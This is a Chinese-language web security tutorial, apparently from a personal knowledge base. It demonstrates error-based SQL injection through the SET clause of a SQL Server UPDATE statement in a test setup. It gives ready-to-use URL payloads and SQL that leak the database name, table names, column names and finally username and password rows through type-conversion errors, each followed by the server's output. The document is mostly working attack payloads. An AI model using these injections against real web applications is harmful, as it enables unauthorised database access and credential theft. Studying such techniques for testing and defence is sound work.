0x01 前言
UPDATE-INSERT的爆错注入是一样的,这里演示的话,我就使用 UPDATE 注入演示了
UPDATE 的注入点一般就出现在两个地方
SET 处
WHERE 处
WHERE 处的注入与普通的注入是一模一样的
WHERE 处的注入可以查看我的知识库:web安全-数据验证不当/SQL Server 时间盲注
https://www.yuque.com/pmiaowu/web_security_1/ksym0w
https://www.yuque.com/pmiaowu/web_security_1/zs9l19
这里我们测试 SET处 的注入
0x02 测试数据
1> select * from article;
2> go
+----+-----------+-----------+
| id | title | content |
+----+-----------+-----------+
| 1 | 测试标题 | 测试内容 |
| 2 | 测试标题2 | 测试内容2 |
+----+-----------+-----------+
(2 rows affected)
# 测试表数据: users;
sql server> select * from users;
+----+--------------+----------+
| id | username | password |
+----+--------------+----------+
| 1 | test-user-01 | 123456 |
| 2 | test-user-02 | 234567 |
+----+--------------+----------+
2 rows in set (0.00 sec)
sql server> SELECT system_user;
+-----------------------+
| field1 |
+-----------------------+
| sa |
+-----------------------+
1 row in set (0.00 sec)
sql server> select db_name();
+-----------------------+
| field1 |
+-----------------------+
| test |
+-----------------------+
1 row in set (0.00 sec)
0x03 爆库名
注意: db_name(1) 修改会显示其他库名
例如:
修改为db_name(1) 就是出1库
修改为db_name(2) 就是出2库
web语句: http://www.test.com/sql.php?id=1&data=测试标题'+COL_NAME(1,db_name())+‘
数据库语句: UPDATE article SET title=’测试标题’+COL_NAME(1,db_name())+’’ WHERE id=’1’
1> UPDATE article SET title='测试标题'+COL_NAME(1,db_name())+'' WHERE id='1'
2> go
22018 - [SQL Server]在将 nvarchar 值 'test' 转换成数据类型 int 时失败。
0x04 爆表名
注意:
OVER(Order by table_name) 里面的 name 要修改为 test.dbo.sysobjects 表里面存在的一个字段
查询不同的库可以这样
例如现在有 test库 与 test2库
那么就可以这样调用
test.dbo.sysobjects
test2.dbo.sysobjects
查询不同的表可以这样
例如:
修改 row_number>=1
修改 row_number>=2
注意:
XType=’U’ 表示获取某数据库的所有用户表;
XType=’S’ 表示获取某数据库的所有系统表;
例如现在查询得是 test 库得表名
web语句: http://www.test.com/sql.php?id=1&data=测试标题'+COL_NAME(1,(select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1))+’
数据库语句:UPDATE article SET title=’测试标题’+COL_NAME(1,(select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1))+’’ WHERE id=’1’
# 爆 1表
1> UPDATE article
SET title = '测试标题' + COL_NAME(
1,
(
SELECT
name
FROM
(
SELECT
ROW_NUMBER () OVER (ORDER BY name) AS row_number,
name
FROM
test.dbo.sysobjects
WHERE
XType = 'U'
) AS a
WHERE
row_number = 1
)
) + ''
WHERE
id = '1'
2> go
22018 - [SQL Server]在将 nvarchar 值 'article' 转换成数据类型 int 时失败。
# 爆 2表
1> UPDATE article
SET title = '测试标题' + COL_NAME(
1,
(
SELECT
name
FROM
(
SELECT
ROW_NUMBER () OVER (ORDER BY name) AS row_number,
name
FROM
test.dbo.sysobjects
WHERE
XType = 'U'
) AS a
WHERE
row_number = 2
)
) + ''
WHERE
id = '1'
2> go
22018 - [SQL Server]在将 nvarchar 值 'users' 转换成数据类型 int 时失败。
0x05 暴字段
注意:
OVER(Order by name ) 里面的 name 要修改为 test.dbo.SysColumns 表里面存在的一个字段
查询不同的表可以这样
例如:
Object_id(‘要查询的表名’)
查询不同的字段可以这样
例如:
修改 row_number>=1
修改 row_number>=2
web语句: http://www.test.com/sql.php?id=1&data=测试标题'+COL_NAME(1,(select top 1 name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.SysColumns Where id=Object_id(‘users’)) as a where a.row_number=1))+’
数据库语句:UPDATE article SET title=’测试标题’+COL_NAME(1,(select top 1 name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.SysColumns Where id=Object_id(‘users’)) as a where a.row_number=1))+’’ WHERE id=’1’
# users 表字段名称
1> select name FROM test.dbo.SysColumns Where id=Object_id('users')
2> go
+-----------+
| name |
+-----------+
| id |
| password |
| username |
+-----------+
(3 rows affected)
# 获取当前库 users表 第一个字段名称
1> UPDATE article
SET title = '测试标题' + COL_NAME(
1,
(
SELECT
TOP 1 name
FROM
(
SELECT
ROW_NUMBER () OVER (ORDER BY name) AS row_number,
name
FROM
test.dbo.SysColumns
WHERE
id = Object_id('users')
) AS a
WHERE
a.row_number = 1
)
) + ''
WHERE
id = '1'
2> go
22018 - [SQL Server]在将 nvarchar 值 'id' 转换成数据类型 int 时失败。
# 获取当前库 users表 第二个字段名称
1> UPDATE article
SET title = '测试标题' + COL_NAME(
1,
(
SELECT
TOP 1 name
FROM
(
SELECT
ROW_NUMBER () OVER (ORDER BY name) AS row_number,
name
FROM
test.dbo.SysColumns
WHERE
id = Object_id('users')
) AS a
WHERE
a.row_number = 2
)
) + ''
WHERE
id = '1'
2> go
22018 - [SQL Server]在将 nvarchar 值 'password' 转换成数据类型 int 时失败。
0x06 爆内容
注意:
OVER(Order by username) 里面的 username 要修改为 users 表里面存在的一个字段
查询不同的数据可以这样
例如:
修改 row_number>=1
修改 row_number>=2
web语句: http://www.test.com/sql.php?id=1&data=测试标题'+COL_NAME(1,(select cast(a.id as varchar)+’|’+cast(a.username as varchar)+’|’+cast(a.password as varchar) from (SELECT ROW_NUMBER () OVER (ORDER BY username) AS row_number,* from users) as a where row_number=1))+’
数据库语句: UPDATE article SET title=’测试标题’+COL_NAME(1,(select cast(a.id as varchar)+’|’+cast(a.username as varchar)+’|’+cast(a.password as varchar) from (SELECT ROW_NUMBER () OVER (ORDER BY username) AS row_number,* from users) as a where row_number=1))+’’ WHERE id=’1’
# 查询users表 第一条数据
UPDATE article
SET title = '测试标题' + COL_NAME(
1,
(
SELECT
CAST (a.id AS VARCHAR) + '|' + CAST (a.username AS VARCHAR) + '|' + CAST (a.password AS VARCHAR)
FROM
(
SELECT
ROW_NUMBER () OVER (ORDER BY username) AS row_number ,*
FROM
users
) AS a
WHERE
row_number = 1
)
) + ''
WHERE
id = '1'
2> go
22018 - [SQL Server]在将 varchar 值 '1 |test-user-01|123456' 转换成数据类型 int 时失败。
# 查询users表 第二条数据
1> UPDATE article
SET title = '测试标题' + COL_NAME(
1,
(
SELECT
CAST (a.id AS VARCHAR) + '|' + CAST (a.username AS VARCHAR) + '|' + CAST (a.password AS VARCHAR)
FROM
(
SELECT
ROW_NUMBER () OVER (ORDER BY username) AS row_number ,*
FROM
users
) AS a
WHERE
row_number = 2
)
) + ''
WHERE
id = '1'
2> go
22018 - [SQL Server]在将 varchar 值 '2 |test-user-02|234567' 转换成数据类型 int 时失败。